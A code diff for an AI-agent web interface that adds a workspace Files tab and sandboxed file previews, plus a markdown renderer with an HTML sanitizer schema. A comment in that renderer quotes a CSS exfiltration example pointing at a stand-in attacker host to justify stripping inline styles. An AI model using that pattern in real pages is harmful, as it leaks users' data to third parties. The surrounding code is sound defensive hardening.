--- a/src/components/features/conversation/conversation-tabs/conversation-tab-content/conversation-tab-content.tsx
+++ b/src/components/features/conversation/conversation-tabs/conversation-tab-content/conversation-tab-content.tsx
@@ -9,9 +9,8 @@ import { useConversationId } from "#/hooks/use-conversation-id";
// Lazy load all tab components, including the terminal — xterm + addon-fit +
// xterm.css are large enough that we don't want them in the conversation
// route's eager graph just because the terminal tab might be selected later.
-const EditorTab = lazy(() => import("#/routes/changes-tab"));
+const FilesTab = lazy(() => import("#/routes/files-tab"));
const BrowserTab = lazy(() => import("#/routes/browser-tab"));
-const ServedTab = lazy(() => import("#/routes/served-tab"));
const VSCodeTab = lazy(() => import("#/routes/vscode-tab"));
const PlannerTab = lazy(() => import("#/routes/planner-tab"));
const TaskListTab = lazy(() => import("#/routes/task-list-tab"));
@@ -19,9 +18,8 @@ const Terminal = lazy(() => import("#/components/features/terminal/terminal"));
const TAB_CONFIG = {
tasklist: { component: TaskListTab },
- editor: { component: EditorTab },
+ files: { component: FilesTab },
browser: { component: BrowserTab },
- served: { component: ServedTab },
vscode: { component: VSCodeTab },
terminal: { component: Terminal },
planner: { component: PlannerTab },
@@ -32,7 +30,8 @@ export function ConversationTabContent() {
const { conversationId } = useConversationId();
const activeTab = useMemo(
- () => TAB_CONFIG[selectedTab ?? "editor"],
+ () =>
+ TAB_CONFIG[selectedTab as keyof typeof TAB_CONFIG] ?? TAB_CONFIG.files,
[selectedTab],
);
diff --git a/src/components/features/conversation/conversation-tabs/conversation-tabs-context-menu.tsx b/src/components/features/conversation/conversation-tabs/conversation-tabs-context-menu.tsx
index 6ac7ade37c..59b5360c49 100644
--- a/src/components/features/conversation/conversation-tabs/conversation-tabs-context-menu.tsx
+++ b/src/components/features/conversation/conversation-tabs/conversation-tabs-context-menu.tsx
@@ -8,8 +8,7 @@ import { useConversationStore } from "#/stores/conversation-store";
import { I18nKey } from "#/i18n/declaration";
import TerminalIcon from "#/icons/terminal.svg?react";
import GlobeIcon from "#/icons/globe.svg?react";
-import ServerIcon from "#/icons/server.svg?react";
-import GitChanges from "#/icons/git_changes.svg?react";
+import DocumentIcon from "#/icons/document.svg?react";
import VSCodeIcon from "#/icons/vscode.svg?react";
import PillIcon from "#/icons/pill.svg?react";
import PillFillIcon from "#/icons/pill-fill.svg?react";
@@ -44,10 +43,9 @@ export function ConversationTabsContextMenu({
icon: LessonPlanIcon,
i18nKey: I18nKey.COMMON$PLANNER,
},
- { tab: "editor", icon: GitChanges, i18nKey: I18nKey.COMMON$CHANGES },
+ { tab: "files", icon: DocumentIcon, i18nKey: I18nKey.COMMON$FILES },
{ tab: "vscode", icon: VSCodeIcon, i18nKey: I18nKey.COMMON$CODE },
{ tab: "terminal", icon: TerminalIcon, i18nKey: I18nKey.COMMON$TERMINAL },
- { tab: "served", icon: ServerIcon, i18nKey: I18nKey.COMMON$APP },
{ tab: "browser", icon: GlobeIcon, i18nKey: I18nKey.COMMON$BROWSER },
];
diff --git a/src/components/features/conversation/conversation-tabs/conversation-tabs.tsx b/src/components/features/conversation/conversation-tabs/conversation-tabs.tsx
index 8badcb3a8e..9d4d89045c 100644
--- a/src/components/features/conversation/conversation-tabs/conversation-tabs.tsx
+++ b/src/components/features/conversation/conversation-tabs/conversation-tabs.tsx
@@ -2,13 +2,11 @@ import { useEffect, useState } from "react";
import { useTranslation } from "react-i18next";
import TerminalIcon from "#/icons/terminal.svg?react";
import GlobeIcon from "#/icons/globe.svg?react";
-import ServerIcon from "#/icons/server.svg?react";
-import GitChanges from "#/icons/git_changes.svg?react";
+import DocumentIcon from "#/icons/document.svg?react";
import VSCodeIcon from "#/icons/vscode.svg?react";
import ThreeDotsVerticalIcon from "#/icons/three-dots-vertical.svg?react";
import LessonPlanIcon from "#/icons/lesson-plan.svg?react";
import DoubleCheckIcon from "#/icons/double-check.svg?react";
-import RefreshIcon from "#/icons/u-refresh.svg?react";
import { cn } from "#/utils/utils";
import { useConversationLocalStorageState } from "#/utils/conversation-local-storage";
import { ConversationTabNav } from "./conversation-tab-nav";
@@ -21,7 +19,6 @@ import { useConversationId } from "#/hooks/use-conversation-id";
import { useSelectConversationTab } from "#/hooks/use-select-conversation-tab";
import { useTaskList } from "#/hooks/use-task-list";
import { useActiveBackend } from "#/contexts/active-backend-context";
-import { useUnifiedGetGitChanges } from "#/hooks/query/use-unified-get-git-changes";
import { useHandleBuildPlanClick } from "#/hooks/use-handle-build-plan-click";
import { useAgentState } from "#/hooks/use-agent-state";
import { AgentState } from "#/types/agent-state";
@@ -40,8 +37,6 @@ export function ConversationTabs() {
const { hasTaskList } = useTaskList();
const { backend } = useActiveBackend();
- const { refetch: refetchGitChanges, isFetching: isFetchingGitChanges } =
- useUnifiedGetGitChanges();
const { handleBuildPlanClick } = useHandleBuildPlanClick();
const { curAgentState } = useAgentState();
@@ -68,9 +63,9 @@ export function ConversationTabs() {
useEffect(() => {
const handlePanelVisibilityChange = () => {
if (isRightPanelShown) {
- // If no tab is selected, default to editor tab
+ // If no tab is selected, default to files tab
if (!selectedTab) {
- onTabChange("editor");
+ onTabChange("files");
}
}
};
@@ -80,7 +75,18 @@ export function ConversationTabs() {
const { t } = useTranslation("openhands");
+ // `files` is intentionally the leftmost tab — it's the primary entry
+ // point for inspecting agent output (workspace files + git diff).
const tabs = [
+ {
+ tabValue: "files",
+ isActive: isTabActive("files"),
+ icon: DocumentIcon,
+ onClick: () => selectTab("files"),
+ tooltipContent: t(I18nKey.COMMON$FILES),
+ tooltipAriaLabel: t(I18nKey.COMMON$FILES),
+ label: t(I18nKey.COMMON$FILES),
+ },
{
tabValue: "planner",
isActive: isTabActive("planner"),
@@ -90,15 +96,6 @@ export function ConversationTabs() {
tooltipAriaLabel: t(I18nKey.COMMON$PLANNER),
label: t(I18nKey.COMMON$PLANNER),
},
- {
- tabValue: "editor",
- isActive: isTabActive("editor"),
- icon: GitChanges,
- onClick: () => selectTab("editor"),
- tooltipContent: t(I18nKey.COMMON$CHANGES),
- tooltipAriaLabel: t(I18nKey.COMMON$CHANGES),
- label: t(I18nKey.COMMON$CHANGES),
- },
{
tabValue: "vscode",
isActive: isTabActive("vscode"),
@@ -118,15 +115,6 @@ export function ConversationTabs() {
label: t(I18nKey.COMMON$TERMINAL),
className: "pl-2",
},
- {
- tabValue: "served",
- isActive: isTabActive("served"),
- icon: ServerIcon,
- onClick: () => selectTab("served"),
- tooltipContent: t(I18nKey.COMMON$APP),
- tooltipAriaLabel: t(I18nKey.COMMON$APP),
- label: t(I18nKey.COMMON$APP),
- },
{
tabValue: "browser",
isActive: isTabActive("browser"),
@@ -139,7 +127,8 @@ export function ConversationTabs() {
];
if (hasTaskList) {
- tabs.unshift({
+ // Insert after `files` so the leftmost slot stays Files.
+ tabs.splice(1, 0, {
tabValue: "tasklist",
isActive: isTabActive("tasklist"),
icon: DoubleCheckIcon,
@@ -199,22 +188,6 @@ export function ConversationTabs() {
</ChatActionTooltip>
),
)}
- {isTabActive("editor") && (
- <button
- type="button"
- className="flex w-[26px] py-1 justify-center items-center gap-[10px] rounded-[7px] hover:enabled:bg-[#474A54] cursor-pointer disabled:opacity-50 disabled:cursor-not-allowed"
- onClick={() => refetchGitChanges()}
- disabled={isFetchingGitChanges}
- aria-label={t(I18nKey.COMMON$CHANGES)}
- >
- <RefreshIcon
- width={12.75}
- height={15}
- color="#ffffff"
- className={isFetchingGitChanges ? "animate-spin" : ""}
- />
- </button>
- )}
{isTabActive("planner") && (
<button
type="button"
diff --git a/src/components/features/files-tab/file-content-viewer.tsx b/src/components/features/files-tab/file-content-viewer.tsx
new file mode 100644
index 0000000000..98aa308a89
--- /dev/null
+++ b/src/components/features/files-tab/file-content-viewer.tsx
@@ -0,0 +1,213 @@
+import { useTranslation } from "react-i18next";
+
+import { I18nKey } from "#/i18n/declaration";
+import { useWorkspaceFileContent } from "#/hooks/query/use-workspace-file-content";
+import {
+ useWorkspaceMutationCounter,
+ withWorkspaceCacheBuster,
+} from "#/stores/use-workspace-mutation-counter";
+import { MarkdownRenderer } from "#/components/features/markdown/markdown-renderer";
+import { HighlightedSourceView } from "./highlighted-source-view";
+import type { ViewMode } from "./view-mode";
+
+interface FileContentViewerProps {
+ path: string;
+ viewMode: ViewMode;
+}
+
+const HTML_LIKE_EXTS = new Set(["html", "htm", "svg"]);
+const MARKDOWN_EXTS = new Set(["md", "markdown", "mdx"]);
+
+function getExtension(path: string): string {
+ const idx = path.lastIndexOf(".");
+ return idx === -1 ? "" : path.slice(idx + 1).toLowerCase();
+}
+
+/**
+ * Renders the contents of a single workspace file. In `rich` mode we point
+ * an iframe / <img> straight at the agent server's static workspace
+ * fileserver for HTML / SVG / images / PDFs, so relative asset references
+ * load naturally. In `plain` mode we always show the raw bytes as text (or
+ * a fallback message for binaries).
+ */
+export function FileContentViewer({ path, viewMode }: FileContentViewerProps) {
+ const { t } = useTranslation("openhands");
+ const query = useWorkspaceFileContent(path);
+ // Subscribe to the workspace mutation counter so the iframe / <img> src
+ // changes after every agent-side edit, forcing a fresh fetch even when
+ // the *path* hasn't moved (e.g. agent rewrote `style.css` referenced by
+ // the currently-displayed `index.html`).
+ const mutationCounter = useWorkspaceMutationCounter((state) => state.count);
+
+ if (query.isLoading) {
+ return (
+ <div className="flex h-full w-full items-center justify-center text-sm text-[#9299AA]">
+ {t(I18nKey.FILES$LOADING_FILES)}
+ </div>
+ );
+ }
+
+ if (query.isError || !query.data) {
+ // Show a load-error message rather than the binary-fallback string —
+ // these are completely different failure modes (couldn't even fetch
+ // the file vs. fetched fine but the bytes aren't previewable) and
+ // mixing them up hides real backend failures behind a misleading
+ // "Binary file" label. Prefer the underlying error's own message when
+ // we have one; fall back to the generic translated string otherwise.
+ return (
+ <div
+ className="flex h-full w-full items-center justify-center text-sm text-[#9299AA]"
+ data-testid="file-content-viewer-error"
+ >
+ {(query.error as Error | undefined)?.message ??
+ t(I18nKey.FILES$LOAD_ERROR)}
+ </div>
+ );
+ }
+
+ const { kind, text, staticUrl, mimeType } = query.data;
+ const bustedStaticUrl = withWorkspaceCacheBuster(staticUrl, mutationCounter);
+
+ // ----- Plain mode: raw source bytes, syntax-highlighted when we can
+ // recognize the grammar (falls through to a `<pre>` otherwise). This
+ // includes "plain" view of markdown / HTML, where the point is to see
+ // the markup behind the rich preview.
+ if (viewMode === "plain") {
+ if (kind === "text" && text !== null) {
+ return (
+ <HighlightedSourceView
+ path={path}
+ text={text}
+ mimeType={mimeType ?? undefined}
+ />
+ );
+ }
+ return (
+ <div
+ className="flex h-full w-full items-center justify-center text-sm text-[#9299AA]"
+ data-testid="file-content-viewer-binary-fallback"
+ >
+ {t(I18nKey.FILES$BINARY_FALLBACK)}
+ </div>
+ );
+ }
+
+ // ----- Rich mode: render HTML, markdown, images, PDFs from staticUrl. ----
+ if (kind === "image") {
+ return (
+ <div
+ className="flex h-full w-full items-center justify-center bg-[#1F2125] p-4"
+ data-testid="file-content-viewer-image"
+ >
+ <img
+ src={bustedStaticUrl}
+ alt={path}
+ className="max-h-full max-w-full object-contain"
+ />
+ </div>
+ );
+ }
+
+ if (kind === "pdf") {
+ // PDFs can carry embedded JavaScript (AcroForm, OpenAction…). Even
+ // though `staticUrl` lives on the agent server origin, the PDF
+ // viewer's scripting capability isn't worth the risk for a file
+ // preview, so we sandbox the iframe. `allow-same-origin` lets the
+ // browser's built-in PDF viewer load the underlying bytes without
+ // tripping cross-origin restrictions; we omit `allow-scripts`
+ // because no PDF preview we care about needs to run JS in the
+ // parent's origin.
+ return (
+ <iframe
+ title={path}
+ src={bustedStaticUrl}
+ sandbox="allow-same-origin"
+ data-testid="file-content-viewer-iframe"
+ className="h-full w-full bg-white"
+ />
+ );
+ }
+
+ if (kind === "binary") {
+ return (
+ <div
+ className="flex h-full w-full items-center justify-center text-sm text-[#9299AA]"
+ data-testid="file-content-viewer-binary-fallback"
+ >
+ {t(I18nKey.FILES$BINARY_FALLBACK)}
+ </div>
+ );
+ }
+
+ // Text-like content.
+ if (mimeType === "text/html" || HTML_LIKE_EXTS.has(getExtension(path))) {
+ // Sandbox the preview iframe: `allow-same-origin` keeps the frame on
+ // the workspace fileserver's origin so relative `<link href="…">`,
+ // `<img src="…">`, etc. continue to resolve, while the absence of
+ // `allow-scripts` means any `<script>` (or `onerror=…`, inline event
+ // handler, …) inside the previewed file is inert. This is exactly
+ // the safe-preview posture we want — users can look at their HTML
+ // without it executing in the canvas's context.
+ return (
+ <iframe
+ title={path}
+ src={bustedStaticUrl}
+ sandbox="allow-same-origin"
+ data-testid="file-content-viewer-iframe"
+ className="h-full w-full bg-white"
+ />
+ );
+ }
+
+ if (kind === "text" && MARKDOWN_EXTS.has(getExtension(path))) {
+ // Match the right-pane chrome color so the rich-rendered markdown
+ // blends with the surrounding files tab instead of painting a stark
+ // white card. We use `prose-invert` (typography plugin's dark-theme
+ // variant) and then layer arbitrary CSS-variable overrides on top to
+ // pin body / bold / quote text to pure white — the user specifically
+ // asked for every text element (not just headings) to read as white.
+ // The custom heading components in `markdown/headings.tsx` already
+ // hard-code `text-white`, so headers stay white through this change.
+ return (
+ <div
+ data-testid="file-content-viewer-markdown"
+ className="h-full w-full overflow-auto bg-[#25272D] text-white custom-scrollbar-always"
+ >
+ <div className="prose prose-sm prose-invert max-w-none p-6 [--tw-prose-body:#fff] [--tw-prose-bold:#fff] [--tw-prose-headings:#fff] [--tw-prose-lead:#fff] [--tw-prose-counters:#fff] [--tw-prose-quotes:#fff] [--tw-prose-quote-borders:#3A3D44] [--tw-prose-bullets:#9299AA] [--tw-prose-hr:#3A3D44] [--tw-prose-captions:#9299AA] [--tw-prose-kbd:#fff]">
+ <MarkdownRenderer
+ content={text ?? ""}
+ includeStandard
+ includeHeadings
+ />
+ </div>
+ </div>
+ );
+ }
+
+ // Rich mode for actual source code (.ts, .py, .yaml, .css, …): there
+ // is no other "rich" rendering to fall back to, so highlighted source
+ // IS the rich view. Identical to the plain-mode treatment — keeping
+ // both branches reuse `HighlightedSourceView` means the toggle has the
+ // same visual identity for source files in both modes (which is the
+ // honest answer: source IS rendered code).
+ if (kind === "text" && text !== null) {
+ return (
+ <HighlightedSourceView
+ path={path}
+ text={text}
+ mimeType={mimeType ?? undefined}
+ />
+ );
+ }
+
+ // Truly unknown / empty payload — show a fallback so the pane is never
+ // blank.
+ return (
+ <div
+ className="flex h-full w-full items-center justify-center text-sm text-[#9299AA]"
+ data-testid="file-content-viewer-binary-fallback"
+ >
+ {t(I18nKey.FILES$BINARY_FALLBACK)}
+ </div>
+ );
+}
diff --git a/src/components/features/files-tab/file-quick-row.tsx b/src/components/features/files-tab/file-quick-row.tsx
new file mode 100644
index 0000000000..01f3175f91
--- /dev/null
+++ b/src/components/features/files-tab/file-quick-row.tsx
@@ -0,0 +1,97 @@
+import { useMemo } from "react";
+import { useTranslation } from "react-i18next";
+
+import ChevronLeft from "#/icons/chevron-left-small.svg?react";
+import ChevronRight from "#/icons/chevron-right-small.svg?react";
+import { I18nKey } from "#/i18n/declaration";
+import { sortFilesByPriority } from "#/utils/file-priority";
+import { cn } from "#/utils/utils";
+
+interface FileQuickRowProps {
+ paths: string[];
+ selectedPath: string | null;
+ onSelectFile: (path: string) => void;
+ /** Whether the left-hand file tree is currently visible. */
+ isTreeVisible: boolean;
+ /** Toggle the visibility of the left-hand file tree. */
+ onToggleTree: () => void;
+}
+
+/**
+ * Horizontal "quick access" row of files at the top of the file viewer.
+ * Important entrypoints (index.html, README.md, package.json, …) appear
+ * first. A small caret on the leading edge toggles the full file tree on
+ * the left — there is no overflow dropdown, so anything that doesn't fit
+ * here is reachable by opening the tree.
+ */
+export function FileQuickRow({
+ paths,
+ selectedPath,
+ onSelectFile,
+ isTreeVisible,
+ onToggleTree,
+}: FileQuickRowProps) {
+ const { t } = useTranslation("openhands");
+
+ const sortedByPriority = useMemo(() => sortFilesByPriority(paths), [paths]);
+
+ return (
+ <div
+ className="flex items-center gap-1.5 border-b border-[#3A3D44] px-2 py-1.5 min-h-[34px]"
+ data-testid="file-quick-row"
+ >
+ <button
+ type="button"
+ onClick={onToggleTree}
+ data-testid="file-quick-row-tree-toggle"
+ aria-pressed={isTreeVisible}
+ aria-label={t(
+ isTreeVisible
+ ? I18nKey.FILES$HIDE_FILE_TREE
+ : I18nKey.FILES$SHOW_FILE_TREE,
+ )}
+ title={t(
+ isTreeVisible
+ ? I18nKey.FILES$HIDE_FILE_TREE
+ : I18nKey.FILES$SHOW_FILE_TREE,
+ )}
+ className={cn(
+ "shrink-0 inline-flex items-center justify-center w-6 h-6 rounded-md cursor-pointer",
+ "text-[#D6D6D6] hover:bg-[#3A3D44]",
+ isTreeVisible && "bg-[#2F3137]",
+ )}
+ >
+ {isTreeVisible ? (
+ <ChevronLeft className="w-3 h-3" />
+ ) : (
+ <ChevronRight className="w-3 h-3" />
+ )}
+ </button>
+
+ {sortedByPriority.length > 0 && (
+ <div className="flex flex-nowrap items-center gap-1.5 overflow-hidden flex-1 min-w-0">
+ {sortedByPriority.map((path) => {
+ const isSelected = selectedPath === path;
+ return (
+ <button
+ key={path}
+ type="button"
+ onClick={() => onSelectFile(path)}
+ title={path}
+ data-testid={`file-quick-row-item-${path}`}
+ className={cn(
+ "inline-flex items-center px-2 py-0.5 text-xs whitespace-nowrap rounded-md cursor-pointer",
+ isSelected
+ ? "bg-[#474A54] text-white"
+ : "bg-[#2F3137] text-[#D6D6D6] hover:bg-[#3A3D44]",
+ )}
+ >
+ {path}
+ </button>
+ );
+ })}
+ </div>
+ )}
+ </div>
+ );
+}
diff --git a/src/components/features/files-tab/file-tree-view.tsx b/src/components/features/files-tab/file-tree-view.tsx
new file mode 100644
index 0000000000..7dc362182b
--- /dev/null
+++ b/src/components/features/files-tab/file-tree-view.tsx
@@ -0,0 +1,120 @@
+import { useMemo, useState } from "react";
+import { useTranslation } from "react-i18next";
+
+import FileIcon from "#/icons/file.svg?react";
+import FolderIcon from "#/icons/folder.svg?react";
+import { I18nKey } from "#/i18n/declaration";
+import { buildFileTree, FileTreeNode } from "#/utils/file-tree";
+import { cn } from "#/utils/utils";
+
+interface FileTreeViewProps {
+ paths: string[];
+ selectedPath: string | null;
+ onSelectFile: (path: string) => void;
+}
+
+interface TreeNodeProps {
+ node: FileTreeNode;
+ depth: number;
+ selectedPath: string | null;
+ onSelectFile: (path: string) => void;
+}
+
+function TreeNode({ node, depth, selectedPath, onSelectFile }: TreeNodeProps) {
+ const [isOpen, setIsOpen] = useState(false);
+ const indentPx = 8 + depth * 12;
+
+ if (node.isDirectory) {
+ return (
+ <li>
+ <button
+ type="button"
+ onClick={() => setIsOpen((prev) => !prev)}
+ aria-expanded={isOpen}
+ data-testid={`file-tree-dir-${node.path}`}
+ className={cn(
+ "flex w-full items-center gap-1.5 py-1 pr-2 text-left text-sm text-white",
+ "hover:bg-[#3A3D44] cursor-pointer",
+ )}
+ style={{ paddingLeft: `${indentPx}px` }}
+ >
+ <span
+ aria-hidden
+ className={cn(
+ "inline-block w-3 text-[10px] text-[#9299AA] transition-transform",
+ isOpen ? "rotate-90" : "rotate-0",
+ )}
+ >
+ ▶
+ </span>
+ <FolderIcon className="w-3.5 h-3.5 shrink-0" />
+ <span className="truncate">{node.name}</span>
+ </button>
+ {isOpen && node.children.length > 0 && (
+ <ul>
+ {node.children.map((child) => (
+ <TreeNode
+ key={child.path}
+ node={child}
+ depth={depth + 1}
+ selectedPath={selectedPath}
+ onSelectFile={onSelectFile}
+ />
+ ))}
+ </ul>
+ )}
+ </li>
+ );
+ }
+
+ const isSelected = selectedPath === node.path;
+ return (
+ <li>
+ <button
+ type="button"
+ onClick={() => onSelectFile(node.path)}
+ data-testid={`file-tree-file-${node.path}`}
+ className={cn(
+ "flex w-full items-center gap-1.5 py-1 pr-2 text-left text-sm",
+ "hover:bg-[#3A3D44] cursor-pointer",
+ isSelected ? "bg-[#474A54] text-white" : "text-[#D6D6D6]",
+ )}
+ style={{ paddingLeft: `${indentPx + 16}px` }}
+ >
+ <FileIcon className="w-3.5 h-3.5 shrink-0" />
+ <span className="truncate">{node.name}</span>
+ </button>
+ </li>
+ );
+}
+
+export function FileTreeView({
+ paths,
+ selectedPath,
+ onSelectFile,
+}: FileTreeViewProps) {
+ const { t } = useTranslation("openhands");
+ const root = useMemo(() => buildFileTree(paths), [paths]);
+
+ if (root.children.length === 0) {
+ return (
+ <div className="px-3 py-4 text-sm text-[#9299AA]">
+ {t(I18nKey.FILES$NO_FILES)}
+ </div>
+ );
+ }
+
+ return (
+ <ul className="py-1 custom-scrollbar-always" data-testid="file-tree-view">
+ {root.children.map((child) => (
+ <TreeNode
+ key={child.path}
+ node={child}
+ depth={0}
+ selectedPath={selectedPath}
+ onSelectFile={onSelectFile}
+ />
+ ))}
+ </ul>
+ );
+}
diff --git a/src/components/features/files-tab/highlighted-source-view.tsx b/src/components/features/files-tab/highlighted-source-view.tsx
new file mode 100644
index 0000000000..161166cde4
--- /dev/null
+++ b/src/components/features/files-tab/highlighted-source-view.tsx
@@ -0,0 +1,80 @@
+import { vscDarkPlus } from "react-syntax-highlighter/dist/esm/styles/prism";
+
+import { SyntaxHighlighter } from "#/components/features/markdown/syntax-highlighter";
+import { getPrismLanguageForFile } from "#/utils/file-language";
+
+interface HighlightedSourceViewProps {
+ path: string;
+ text: string;
+ mimeType?: string;
+}
+
+/**
+ * Renders the raw bytes of a workspace text file with Prism syntax
+ * highlighting. Used both in:
+ * - Rich mode for actual source files (.ts, .py, .yaml, …) — there is
+ * no "rich" rendering of source code, so highlighted source IS the
+ * rich view.
+ * - Plain mode for source code AND for the source form of markdown /
+ * HTML files (so users can inspect the markup behind a rich preview).
+ *
+ * When we don't have a Prism grammar for the file we fall through to a
+ * plain `<pre>` so the bytes still show. The wrapper styling matches the
+ * right-pane background so the highlighted block reads as part of the
+ * surrounding chrome instead of a floating card.
+ */
+export function HighlightedSourceView({
+ path,
+ text,
+ mimeType,
+}: HighlightedSourceViewProps) {
+ const language = getPrismLanguageForFile(path, mimeType);
+
+ if (!language) {
+ return (
+ <pre
+ data-testid="file-content-viewer-plain"
+ className="h-full w-full overflow-auto whitespace-pre-wrap break-words bg-[#25272D] p-4 text-xs leading-5 text-white custom-scrollbar-always"
+ >
+ {text}
+ </pre>
+ );
+ }
+
+ return (
+ <div
+ data-testid="file-content-viewer-highlighted"
+ data-language={language}
+ className="h-full w-full overflow-auto bg-[#25272D] custom-scrollbar-always"
+ >
+ <SyntaxHighlighter
+ language={language}
+ style={vscDarkPlus}
+ showLineNumbers
+ wrapLongLines={false}
+ // Override the theme's hard-coded background so the highlighter
+ // blends with the right-pane chrome instead of painting a slab
+ // of a slightly-different dark color.
+ customStyle={{
+ margin: 0,
+ padding: "1rem",
+ background: "transparent",
+ fontSize: "0.75rem",
+ lineHeight: "1.25rem",
+ minHeight: "100%",
+ }}
+ codeTagProps={{
+ style: { background: "transparent", fontFamily: "inherit" },
+ }}
+ lineNumberStyle={{
+ color: "#5C5D62",
+ minWidth: "2.5em",
+ paddingRight: "1em",
+ userSelect: "none",
+ }}
+ >
+ {text}
+ </SyntaxHighlighter>
+ </div>
+ );
+}
diff --git a/src/components/features/files-tab/segmented-toggle.tsx b/src/components/features/files-tab/segmented-toggle.tsx
new file mode 100644
index 0000000000..a2b604fd45
--- /dev/null
+++ b/src/components/features/files-tab/segmented-toggle.tsx
@@ -0,0 +1,60 @@
+import { cn } from "#/utils/utils";
+
+interface SegmentedToggleOption<T extends string> {
+ value: T;
+ label: string;
+}
+
+interface SegmentedToggleProps<T extends string> {
+ value: T;
+ options: SegmentedToggleOption<T>[];
+ onChange: (value: T) => void;
+ ariaLabel: string;
+ testId?: string;
+}
+
+/**
+ * Lightweight 2-state segmented control used for the files-tab toggles
+ * ("Diff view" on/off, "Rich"/"Plain"). Kept local because the existing
+ * shared switch components are heavier than what we need here.
+ */
+export function SegmentedToggle<T extends string>({
+ value,
+ options,
+ onChange,
+ ariaLabel,
+ testId,
+}: SegmentedToggleProps<T>) {
+ return (
+ <div
+ role="radiogroup"
+ aria-label={ariaLabel}
+ data-testid={testId}
+ className="inline-flex items-center rounded-md bg-[#2F3137] p-0.5 text-xs"
+ >
+ {options.map((option) => {
+ const isActive = option.value === value;
+ return (
+ <button
+ key={option.value}
+ type="button"
+ role="radio"
+ aria-checked={isActive}
+ data-testid={
+ testId ? `${testId}-option-${option.value}` : undefined
+ }
+ onClick={() => onChange(option.value)}
+ className={cn(
+ "px-2 py-0.5 rounded cursor-pointer transition-colors",
+ isActive
+ ? "bg-[#5C5D62] text-white"
+ : "text-[#9299AA] hover:text-white",
+ )}
+ >
+ {option.label}
+ </button>
+ );
+ })}
+ </div>
+ );
+}
diff --git a/src/components/features/files-tab/view-mode.ts b/src/components/features/files-tab/view-mode.ts
new file mode 100644
index 0000000000..944aeafd62
--- /dev/null
+++ b/src/components/features/files-tab/view-mode.ts
@@ -0,0 +1 @@
+export type ViewMode = "rich" | "plain";
diff --git a/src/components/features/markdown/markdown-renderer.tsx b/src/components/features/markdown/markdown-renderer.tsx
index 64f6ad7448..f3ae0b6b54 100644
--- a/src/components/features/markdown/markdown-renderer.tsx
+++ b/src/components/features/markdown/markdown-renderer.tsx
@@ -1,6 +1,10 @@
import Markdown, { Components } from "react-markdown";
import remarkGfm from "remark-gfm";
import remarkBreaks from "remark-breaks";
+import rehypeRaw from "rehype-raw";
+import rehypeSanitize, { defaultSchema } from "rehype-sanitize";
+import type { Schema } from "hast-util-sanitize";
+import type { PluggableList } from "unified";
import { code } from "./code";
import { ul, ol } from "./list";
import { paragraph } from "./paragraph";
@@ -8,6 +12,76 @@ import { anchor } from "./anchor";
import { h1, h2, h3, h4, h5, h6 } from "./headings";
import { table, th, td } from "./table";
+// Build a sanitize schema that extends rehype-sanitize's defaults with a
+// few markdown-friendly additions. The defaults strip `<script>`, event
+// handlers, `javascript:` URLs, and most dangerous attributes; we layer
+// on:
+// - class / id on common block + inline elements (so authored HTML
+// keeps its hooks for styling in rich previews),
+// - `<img>` (kept disabled in defaults), with safe src schemes only,
+// - `<details>` / `<summary>` for collapsible sections,
+// - `target` / `rel` on anchors so external links keep working.
+//
+// We deliberately do NOT allow `style` — `rehype-sanitize` cannot parse
+// CSS, so allowing `style` would let an authored doc smuggle in
+// `background-image: url("https://attacker.example/exfil?…")` (data
+// exfiltration), `position: fixed; top: 0; …` (clickjacking overlays),
+// or vendor-specific quirks like `expression(…)` on old browsers.
+// If we ever need inline styling we should plug in a CSS-property
+// sanitizer at that point, not before.
+//
+// We also deliberately do NOT allow the `data:` protocol — that scheme
+// covers arbitrary mime types, not just images, so `<img src="data:text/html,…">`
+// would round-trip an HTML document with no schema validation. Inline
+// base64 images are a thin convenience we don't actually need in our
+// preview, and the cost of allowing them is too high.
+// Exported for direct schema tests. End-to-end MarkdownRenderer tests
+// can't reach every sanitize concern because our custom `anchor`
+// component always hard-codes `target="_blank" rel="noopener noreferrer"`
+// — meaning a buggy schema (e.g. one that strips `rel` from HAST) would
+// still produce a safe-looking `<a>` in the final DOM. Direct schema
+// tests close that gap.
+export const MARKDOWN_SANITIZE_SCHEMA: Schema = {
+ ...defaultSchema,
+ attributes: {
+ ...defaultSchema.attributes,
+ "*": [...(defaultSchema.attributes?.["*"] ?? []), "className", "id"],
+ // `["rel", "noopener", "noreferrer", "nofollow"]` (rehype-sanitize's
+ // "[attrName, ...allowed-values]" form) requires `rel` to be EXACTLY
+ // one of those tokens — it would strip the standard, space-separated
+ // `rel="noopener noreferrer"` and reintroduce a reverse-tabnabbing
+ // vector on `target="_blank"` links. None of the `rel` keywords
+ // execute code or navigate, so allowing any rel value is safe.
+ a: ["href", "title", "target", "rel"],
+ img: [
+ ...(defaultSchema.attributes?.img ?? []),
+ "src",
+ "alt",
+ "title",
+ "width",
+ "height",
+ "loading",
+ ],
+ },
+ tagNames: [
+ ...(defaultSchema.tagNames ?? []),
+ "img",
+ "details",
+ "summary",
+ "figure",
+ "figcaption",
+ "mark",
+ "kbd",
+ "sub",
+ "sup",
+ ],
+ protocols: {
+ ...defaultSchema.protocols,
+ src: ["http", "https"],
+ href: ["http", "https", "mailto", "tel"],
+ },
+};
+
interface MarkdownRendererProps {
/**
* The markdown content to render. Can be passed as children (string) or content prop.
@@ -29,6 +103,16 @@ interface MarkdownRendererProps {
* Defaults to false.
*/
includeHeadings?: boolean;
+ /**
+ * Whether to parse and render inline HTML embedded in the markdown
+ * source. When `true`, raw HTML is parsed via `rehype-raw` and then
+ * sanitized via `rehype-sanitize` with a schema that strips scripts,
+ * event handlers, and dangerous URL schemes. Defaults to `true` — the
+ * sanitizer makes this safe by construction, and most markdown
+ * authoring relies on at least some inline HTML (badges, details
+ * blocks, anchor targets, etc.).
+ */
+ allowHtml?: boolean;
}
/**
@@ -50,6 +134,7 @@ export function MarkdownRenderer({
components: customComponents,
includeStandard = false,
includeHeadings = false,
+ allowHtml = true,
}: MarkdownRendererProps) {
// Build the components object with defaults and optional additions
const components: Components = {
@@ -76,11 +161,20 @@ export function MarkdownRenderer({
const markdownContent = content ?? children ?? "";
+ // `rehype-raw` parses raw HTML embedded in the markdown into the rehype
+ // tree. `rehype-sanitize` then strips anything dangerous (scripts,
+ // event handlers, `javascript:` URLs, etc.). The order matters: sanitize
+ // must run *after* raw so it sees the parsed HTML nodes.
+ const rehypePlugins: PluggableList | undefined = allowHtml
+ ? [rehypeRaw, [rehypeSanitize, MARKDOWN_SANITIZE_SCHEMA]]
+ : undefined;
+
return (
<div data-testid="markdown-renderer">
<Markdown
components={components}
remarkPlugins={[remarkGfm, remarkBreaks]}
+ rehypePlugins={rehypePlugins}
>
{markdownContent}
</Markdown>
